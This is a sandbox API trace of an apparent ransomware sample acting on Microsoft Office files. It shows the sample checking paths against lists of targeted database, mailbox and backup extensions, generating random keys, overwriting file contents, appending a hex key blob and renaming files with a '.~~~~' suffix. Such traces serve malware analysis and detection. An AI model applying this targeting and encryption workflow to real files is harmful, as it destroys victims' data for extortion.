	[0142.707] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbe777d70, dwHighDateTime=0x1d60e1e)) 
	[0142.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0142.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0142.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0142.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe670
	[0142.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.707] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe670 | out: hHeap=0x300000) returned 1
	[0142.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.707] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a9f30
	[0142.707] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0d30
	[0142.707] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9f30 | out: hHeap=0x300000) returned 1
	[0142.707] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0142.708] GetLastError () returned 0x0
	[0142.708] GetLastError () returned 0x0
	[0142.708] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0142.708] GetLastError () returned 0x0
	[0142.708] GetLastError () returned 0x0
	[0142.708] ReadFile (in: hFile=0x138, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x25dfec0*=0x154f, lpOverlapped=0x0) returned 1
	[0142.710] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffeab1, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.711] WriteFile (in: hFile=0x138, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x154f, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x154f, lpOverlapped=0x0) returned 1
	[0142.711] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0142.711] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.711] WriteFile (in: hFile=0x138, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.711] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.711] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.711] CloseHandle (hObject=0x138) returned 1
	[0142.715] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a9f30
	[0142.715] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir2f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir2f.gif.~~~~")) returned 1
	[0142.719] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9f30 | out: hHeap=0x300000) returned 1
	[0142.719] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0142.719] GetLastError () returned 0x0
	[0142.719] RtlWakeConditionVariable () returned 0x0
	[0142.719] GetCurrentThreadId () returned 0x9f4
	[0142.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".scr") returned 0x0
	[0142.719] lstrlenW (lpString=".cmd") returned 4
	[0142.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".cmd") returned 0x0
	[0142.720] lstrlenW (lpString=".dll") returned 4
	[0142.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".dll") returned 0x0
	[0142.720] lstrlenW (lpString=".bat") returned 4
	[0142.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".bat") returned 0x0
	[0142.720] lstrlenW (lpString=".cpl") returned 4
	[0142.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".cpl") returned 0x0
	[0142.720] lstrlenW (lpString=".sys") returned 4
	[0142.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".sys") returned 0x0
	[0142.720] lstrlenW (lpString=".msc") returned 4
	[0142.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".msc") returned 0x0
	[0142.720] lstrlenW (lpString=".com") returned 4
	[0142.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".com") returned 0x0
	[0142.720] lstrlenW (lpString=".lnk") returned 4
	[0142.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".lnk") returned 0x0
	[0142.720] lstrlenW (lpString=".msp") returned 4
	[0142.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".msp") returned 0x0
	[0142.720] lstrlenW (lpString=".pif") returned 4
	[0142.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".pif") returned 0x0
	[0142.720] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0142.720] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir30f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0142.722] lstrlenW (lpString=".sqb") returned 4
	[0142.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".sqb") returned 0x0
	[0142.723] lstrlenW (lpString=".ost") returned 4
	[0142.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".ost") returned 0x0
	[0142.723] lstrlenW (lpString=".txt") returned 4
	[0142.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".txt") returned 0x0
	[0142.723] lstrlenW (lpString=".mdt") returned 4
	[0142.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".mdt") returned 0x0
	[0142.723] lstrlenW (lpString=".BDB") returned 4
	[0142.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".BDB") returned 0x0
	[0142.723] lstrlenW (lpString=".eql") returned 4
	[0142.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".eql") returned 0x0
	[0142.723] lstrlenW (lpString=".DBF") returned 4
	[0142.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".DBF") returned 0x0
	[0142.723] lstrlenW (lpString=".EQL") returned 4
	[0142.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".EQL") returned 0x0
	[0142.723] lstrlenW (lpString=".FDB") returned 4
	[0142.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".FDB") returned 0x0
	[0142.723] lstrlenW (lpString=".EDB") returned 4
	[0142.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".EDB") returned 0x0
	[0142.723] lstrlenW (lpString=".DACPAC") returned 7
	[0142.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.723] lstrlenW (lpString=".VHD") returned 4
	[0142.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".VHD") returned 0x0
	[0142.723] lstrlenW (lpString=".DBV") returned 4
	[0142.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".DBV") returned 0x0
	[0142.723] lstrlenW (lpString=".dacpac") returned 7
	[0142.724] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".dacpac") returned 0x0
	[0142.724] lstrlenW (lpString=".sdf") returned 4
	[0142.724] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".sdf") returned 0x0
	[0142.724] lstrlenW (lpString=".accdb") returned 6
	[0142.724] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".accdb") returned 0x0
	[0142.724] lstrlenW (lpString=".DBX") returned 4
	[0142.724] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".DBX") returned 0x0
	[0142.724] lstrlenW (lpString=".MDT") returned 4
	[0142.724] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".MDT") returned 0x0
	[0142.724] lstrlenW (lpString=".SQB") returned 4
	[0142.724] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".SQB") returned 0x0
	[0142.724] lstrlenW (lpString=".vhd") returned 4
	[0142.724] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".vhd") returned 0x0
	[0142.724] lstrlenW (lpString=".bac") returned 4
	[0142.724] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".bac") returned 0x0
	[0142.724] lstrlenW (lpString=".mdf") returned 4
	[0142.724] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".mdf") returned 0x0
	[0142.724] lstrlenW (lpString=".BAK") returned 4
	[0142.724] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".BAK") returned 0x0
	[0142.724] lstrlenW (lpString=".BAC") returned 4
	[0142.724] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".BAC") returned 0x0
	[0142.724] lstrlenW (lpString=".dbs") returned 4
	[0142.724] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".dbs") returned 0x0
	[0142.724] lstrlenW (lpString=".vhdx") returned 5
	[0142.724] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".vhdx") returned 0x0
	[0142.724] lstrlenW (lpString=".NDF") returned 4
	[0142.725] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".NDF") returned 0x0
	[0142.725] lstrlenW (lpString=".dat") returned 4
	[0142.725] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".dat") returned 0x0
	[0142.725] lstrlenW (lpString=".DBS") returned 4
	[0142.725] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".DBS") returned 0x0
	[0142.725] lstrlenW (lpString=".CKP") returned 4
	[0142.725] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".CKP") returned 0x0
	[0142.725] lstrlenW (lpString=".edb") returned 4
	[0142.725] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".edb") returned 0x0
	[0142.725] lstrlenW (lpString=".PST") returned 4
	[0142.725] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".PST") returned 0x0
	[0142.725] lstrlenW (lpString=".dbf") returned 4
	[0142.725] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".dbf") returned 0x0
	[0142.725] lstrlenW (lpString=".SQL") returned 4
	[0142.725] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".SQL") returned 0x0
	[0142.725] lstrlenW (lpString=".pst") returned 4
	[0142.725] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".pst") returned 0x0
	[0142.725] lstrlenW (lpString=".dbv") returned 4
	[0142.725] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".dbv") returned 0x0
	[0142.725] lstrlenW (lpString=".SDF") returned 4
	[0142.725] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".SDF") returned 0x0
	[0142.725] lstrlenW (lpString=".dtxs") returned 5
	[0142.725] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".dtxs") returned 0x0
	[0142.725] lstrlenW (lpString=".db3") returned 4
	[0142.725] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".db3") returned 0x0
	[0142.725] lstrlenW (lpString=".OST") returned 4
	[0142.726] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".OST") returned 0x0
	[0142.726] lstrlenW (lpString=".dbx") returned 4
	[0142.726] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".dbx") returned 0x0
	[0142.726] lstrlenW (lpString=".DB3") returned 4
	[0142.726] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".DB3") returned 0x0
	[0142.726] lstrlenW (lpString=".DAT") returned 4
	[0142.726] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".DAT") returned 0x0
	[0142.726] lstrlenW (lpString=".VHDX") returned 5
	[0142.726] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".VHDX") returned 0x0
	[0142.726] lstrlenW (lpString=".ndf") returned 4
	[0142.726] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".ndf") returned 0x0
	[0142.726] lstrlenW (lpString=".DB") returned 3
	[0142.726] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".DB") returned 0x0
	[0142.726] lstrlenW (lpString=".sql") returned 4
	[0142.726] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".sql") returned 0x0
	[0142.726] lstrlenW (lpString=".MYD") returned 4
	[0142.726] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".MYD") returned 0x0
	[0142.726] lstrlenW (lpString=".DBT") returned 4
	[0142.726] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".DBT") returned 0x0
	[0142.726] lstrlenW (lpString=".ACCDB") returned 6
	[0142.726] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.726] lstrlenW (lpString=".fdb") returned 4
	[0142.726] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".fdb") returned 0x0
	[0142.726] lstrlenW (lpString=".bak") returned 4
	[0142.726] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".bak") returned 0x0
	[0142.726] lstrlenW (lpString=".myd") returned 4
	[0142.727] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".myd") returned 0x0
	[0142.727] lstrlenW (lpString=".DTXS") returned 5
	[0142.727] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".DTXS") returned 0x0
	[0142.727] lstrlenW (lpString=".ckp") returned 4
	[0142.727] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".ckp") returned 0x0
	[0142.727] lstrlenW (lpString=".dbt") returned 4
	[0142.727] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".dbt") returned 0x0
	[0142.727] lstrlenW (lpString=".db") returned 3
	[0142.727] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".db") returned 0x0
	[0142.727] lstrlenW (lpString=".TXT") returned 4
	[0142.727] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".TXT") returned 0x0
	[0142.727] lstrlenW (lpString=".MDF") returned 4
	[0142.727] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".MDF") returned 0x0
	[0142.727] lstrlenW (lpString=".bdb") returned 4
	[0142.727] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".bdb") returned 0x0
	[0142.727] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.727] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0142.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.727] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0142.729] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.729] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.729] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0142.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0142.729] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26271905138) returned 1
	[0142.729] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbe79ded0, dwHighDateTime=0x1d60e1e)) 
	[0142.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0142.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0142.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0142.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe6a8
	[0142.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.729] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe6a8 | out: hHeap=0x300000) returned 1
	[0142.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.730] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aa320
	[0142.730] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0d30
	[0142.730] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aa320 | out: hHeap=0x300000) returned 1
	[0142.730] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0142.730] GetLastError () returned 0x0
	[0142.730] GetLastError () returned 0x0
	[0142.730] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0142.731] GetLastError () returned 0x0
	[0142.731] GetLastError () returned 0x0
	[0142.731] ReadFile (in: hFile=0x138, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x25dfec0*=0x905a, lpOverlapped=0x0) returned 1
	[0142.850] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff6fa6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.850] WriteFile (in: hFile=0x138, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x905a, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x905a, lpOverlapped=0x0) returned 1
	[0142.851] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0142.851] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.851] WriteFile (in: hFile=0x138, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.851] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.851] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.851] CloseHandle (hObject=0x138) returned 1
	[0142.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28aa710
